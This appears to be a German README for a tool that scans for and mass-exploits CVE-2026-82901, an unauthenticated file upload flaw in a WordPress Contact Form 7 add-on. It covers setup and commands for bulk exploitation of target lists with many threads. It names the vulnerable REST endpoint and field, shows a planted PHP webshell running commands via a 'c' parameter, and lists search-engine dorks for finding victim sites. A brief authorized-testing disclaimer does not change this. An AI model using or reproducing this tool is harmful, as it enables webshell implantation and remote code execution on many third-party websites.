
GUI- und CLI-Massenscanner und Exploiter für CVE-2026-82901, einen nicht authentifizierten beliebigen Datei-Upload im WordPress-Plugin Ultra Addons for Contact Form 7.
Ein Scanner und Massen-Exploitation-Tool für CVE-2026-82901 — eine Unauthenticated Arbitrary File Upload-Schwachstelle (CWE-434, CVSS 3.1 9.8 Critical) im WordPress-Plugin Ultra Addons for Contact Form 7 (Themefic), die Versionen ≤ 3.5.50 betrifft.
Es werden zwei Schnittstellen bereitgestellt:
⚠️ Nur autorisiertes Testen. Siehe Haftungsausschluss.
| Element | Detail |
|---|---|
| CVE | CVE-2026-82901 |
| Plugin | ultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7) |
| Hersteller | Themefic |
| Klasse | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| Betroffene Versionen | ≤ 3.5.50 |
| Gepatchte Version | 3.5.51+ |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentifizierung | Nicht erforderlich (unauthentifiziert) |
| Betroffene Funktion | uacf7_wpcf7_mail_components (das Modul PDF Generator) |
| Vektor | CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback mit dem Feld signature |
| Schreibpfad | /wp-content/uploads/uacf7-uploads/ |
| Auswirkung | Beliebiger Datei-Upload → RCE, wenn PHP im Uploads-Verzeichnis ausgeführt wird |
| Referenzen | NVD · CVE.org |
Ausnutzungsbedingung: Das Modul PDF Generator muss aktiviert sein und das Formular muss ein Feld uacf7_signature enthalten. Dieses Modul ist standardmäßig deaktiviert, sodass nicht jede Website, die eine anfällige Plugin-Version ausführt, tatsächlich ausnutzbar ist.
readme.txt--form-url (/contact/), die pro Ziel aufgelöst wirdresults.jsonl (vollständige Details) + hits.txt (erfolgreiche Ziele)git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt
requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tkinterwird mit Python ausgeliefert. Falls es fehlt (Linux):sudo apt install python3-tk.
python gui_82901.py

Workflow:
/contact/ (relativer Pfad) eingeben, oder eine absolute URL.check oder exploit.Tabellenzeilenfarben:
| Farbe | Bedeutung |
|---|---|
| 🟩 Grün | shell_verified — Erfolg, die Spalte shell ist befüllt |
| 🟨 Gelb | vuln_candidate_sig_field — starker Kandidat |
| 🟥 Rot | error |
Hilfsschaltflächen: ■ Stop (sicheres Herunterfahren), Clear log, Open hits, Open output, Export CSV.
# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check
# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
--form-url https://target.tld/contact/ --shell-name wp_82901.php
# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/
# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/
# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10
targets.txt# one URL per line
https://a.tld
# optional second column: a per-target form path/URL
https://b.tld /hubungi-kami/
https://c.tld | https://c.tld/custom-contact/
https://d.tld ; /kontak/
Das zweite Spaltentrennzeichen kann TAB, | oder ; sein. Priorität: zielspezifische Überschreibung > globales --form-url > automatische Erkennung.
| Argument | Standard | Beschreibung |
|---|---|---|
-u, --url | — | Einzelne Ziel-Basis-URL |
-l, --list | — | Zieldatei mit Liste |
--mode | check | check oder exploit |
--form-url | — | Absolute URL oder relativer Pfad (/contact/) |
--field | auto | Name des Signaturfelds |
--shell-name | wp_82901.php | Name der hochgeladenen Datei |
--verify-url | — | Shell-URL, falls bereits bekannt |
-j, --threads | 10 | Anzahl der Worker |
--timeout | 25 | Anfrage-Timeout (Sekunden) |
--proxy | — | HTTP(S)-Proxy |
--output | cve_2026_82901_results.jsonl | JSONL-Ergebnisdatei |
--vuln-list | hits.txt | Datei mit erfolgreichen Zielen |
-q, --quiet | aus | Ausgabe reduzieren |
| Status | Bedeutung |
|---|---|
not_found | Plugin nicht erkannt |
not_vulnerable | Plugin vorhanden, Version > 3.5.50 (gepatcht) |
plugin_found_version_unknown | Plugin vorhanden, Version nicht lesbar |
plugin_ok_no_signature_field | Plugin vorhanden, kein Signaturfeld → PDF-Modul wahrscheinlich deaktiviert |
vuln_candidate_sig_field | Plugin ≤ 3.5.50 und ein Signaturfeld existiert → starker Kandidat |
plugin_found_no_form | Plugin vorhanden, kein CF7-Formular gefunden |
shell_verified | Erfolg — Shell hochgeladen und ausgeführt |
exploit_inconclusive | Upload versucht, Verifizierung fehlgeschlagen |
error | Ausnahme bei der Verarbeitung des Ziels |
exploit_inconclusive?Das bedeutet nicht, dass das Ziel sicher ist. Wahrscheinliche Ursachen:
Verwenden Sie den check-Modus, um nach vuln_candidate_sig_field zu filtern, und führen Sie dann einen exploit für ein einzelnes Ziel mit dem korrekten --field/--shell-name aus.
Nach einem shell_verified-Status die Ausführung testen:
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Der Marker POCBIT-82901-OK ist die Zeichenkette, die das Tool zur Validierung der Ausführung verwendet.
Dorks zum Auffinden von Zielen (Google / FOFA / Shodan):
body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"